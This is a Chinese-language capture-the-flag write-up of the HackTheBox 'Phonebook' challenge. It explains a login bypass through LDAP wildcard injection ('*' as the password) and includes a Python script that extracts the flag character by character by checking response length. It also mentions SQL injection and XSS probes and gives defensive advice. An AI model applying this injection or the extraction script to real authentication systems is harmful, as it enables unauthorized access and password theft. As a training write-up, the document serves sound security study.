HTB之Phonebook
字数 971 2025-08-11 17:39:47

HTB之Phonebook靶场渗透测试教学文档

1. 靶场概述

Phonebook是一个基于Web的渗透测试靶场,主要考察以下安全知识点:

  • 登录绕过技术
  • LDAP注入漏洞
  • 密码爆破技术
  • 信息收集技巧
  • 简单的脚本编写能力

2. 初始信息收集

2.1 登录界面分析

访问靶场首先看到一个登录界面,包含:

  • 用户名和密码输入框
  • 一段提示性文字(暗示使用"Reese"作为用户名)

2.2 初步测试

  1. 尝试使用万能密码绕过(如' or 1=1 --)失败
  2. 发现页面回显message内容,怀疑存在XSS漏洞
    • 虽然插入恶意代码但未弹窗,可能是self-XSS,利用价值有限

2.3 目录扫描

  • 扫描发现网站目录结构简单
  • 仅存在当前目录和CSS目录

2.4 源代码审查

  • 发现CSS目录路径
  • 尝试直接访问CSS目录,意外进入后台(但功能受限)

3. 登录绕过技术

3.1 密码爆破尝试

  • 使用密码字典和fuzz字典测试
  • 发现使用*可以绕过登录

3.2 LDAP注入原理

  • *在LDAP查询中作为通配符,可以匹配任意字符
  • 当使用*作为密码时,LDAP查询会匹配所有记录,导致登录绕过

4. Flag获取过程

4.1 关键发现

  • 猜测flag可能是登录密码
  • 尝试使用H*登录成功,确认flag格式

4.2 自动化爆破脚本

编写Python脚本逐步爆破flag:

import requests
import string

flag = ''
wl = ''
wordlist = string.ascii_lowercase + string.ascii_uppercase + '0123456789_}'

while 1:
    for i in wordlist:
        wl = flag+i
        url = 'http://178.128.37.153:32155/login'
        value = {'username':'Reese','password':wl+'*'}
        response = requests.post(url,value)
        if response.headers['Content-Length'] == '2586':
            flag = wl
            print(flag)
            break
    if i=='}':
        break

4.3 脚本解析

  1. 使用string模块生成包含大小写字母、数字和下划线的字符集
  2. 通过循环逐个字符尝试
  3. 检测响应头中的Content-Length判断是否登录成功
  4. 当遇到}字符时终止循环

5. 技术要点总结

  1. LDAP注入特性

    • *作为通配符可导致认证绕过
    • 类似SQL注入但语法不同
  2. 爆破技巧

    • 基于响应长度的差异判断
    • 逐步构建有效字符串
  3. 防御建议

    • 对LDAP查询中的特殊字符进行过滤
    • 实施账户锁定机制防止爆破
    • 避免使用响应长度等可预测的差异作为认证依据

6. 扩展思考

  1. 其他可能的攻击向量:

    • 尝试其他LDAP注入payload
    • 测试其他用户名是否存在类似漏洞
  2. 防御加固方案:

    • 实现多因素认证
    • 记录并监控异常登录尝试
    • 使用参数化查询而非字符串拼接

本靶场展示了LDAP注入的实际应用场景,强调了特殊字符处理在认证系统中的重要性,以及如何利用系统响应差异进行信息收集和攻击。

HTB之Phonebook靶场渗透测试教学文档 1. 靶场概述 Phonebook是一个基于Web的渗透测试靶场,主要考察以下安全知识点: 登录绕过技术 LDAP注入漏洞 密码爆破技术 信息收集技巧 简单的脚本编写能力 2. 初始信息收集 2.1 登录界面分析 访问靶场首先看到一个登录界面,包含: 用户名和密码输入框 一段提示性文字(暗示使用"Reese"作为用户名) 2.2 初步测试 尝试使用万能密码绕过(如 ' or 1=1 -- )失败 发现页面回显message内容,怀疑存在XSS漏洞 虽然插入恶意代码但未弹窗,可能是self-XSS,利用价值有限 2.3 目录扫描 扫描发现网站目录结构简单 仅存在当前目录和CSS目录 2.4 源代码审查 发现CSS目录路径 尝试直接访问CSS目录,意外进入后台(但功能受限) 3. 登录绕过技术 3.1 密码爆破尝试 使用密码字典和fuzz字典测试 发现使用 * 可以绕过登录 3.2 LDAP注入原理 * 在LDAP查询中作为通配符,可以匹配任意字符 当使用 * 作为密码时,LDAP查询会匹配所有记录,导致登录绕过 4. Flag获取过程 4.1 关键发现 猜测flag可能是登录密码 尝试使用 H* 登录成功,确认flag格式 4.2 自动化爆破脚本 编写Python脚本逐步爆破flag: 4.3 脚本解析 使用 string 模块生成包含大小写字母、数字和下划线的字符集 通过循环逐个字符尝试 检测响应头中的 Content-Length 判断是否登录成功 当遇到 } 字符时终止循环 5. 技术要点总结 LDAP注入特性 : * 作为通配符可导致认证绕过 类似SQL注入但语法不同 爆破技巧 : 基于响应长度的差异判断 逐步构建有效字符串 防御建议 : 对LDAP查询中的特殊字符进行过滤 实施账户锁定机制防止爆破 避免使用响应长度等可预测的差异作为认证依据 6. 扩展思考 其他可能的攻击向量: 尝试其他LDAP注入payload 测试其他用户名是否存在类似漏洞 防御加固方案: 实现多因素认证 记录并监控异常登录尝试 使用参数化查询而非字符串拼接 本靶场展示了LDAP注入的实际应用场景,强调了特殊字符处理在认证系统中的重要性,以及如何利用系统响应差异进行信息收集和攻击。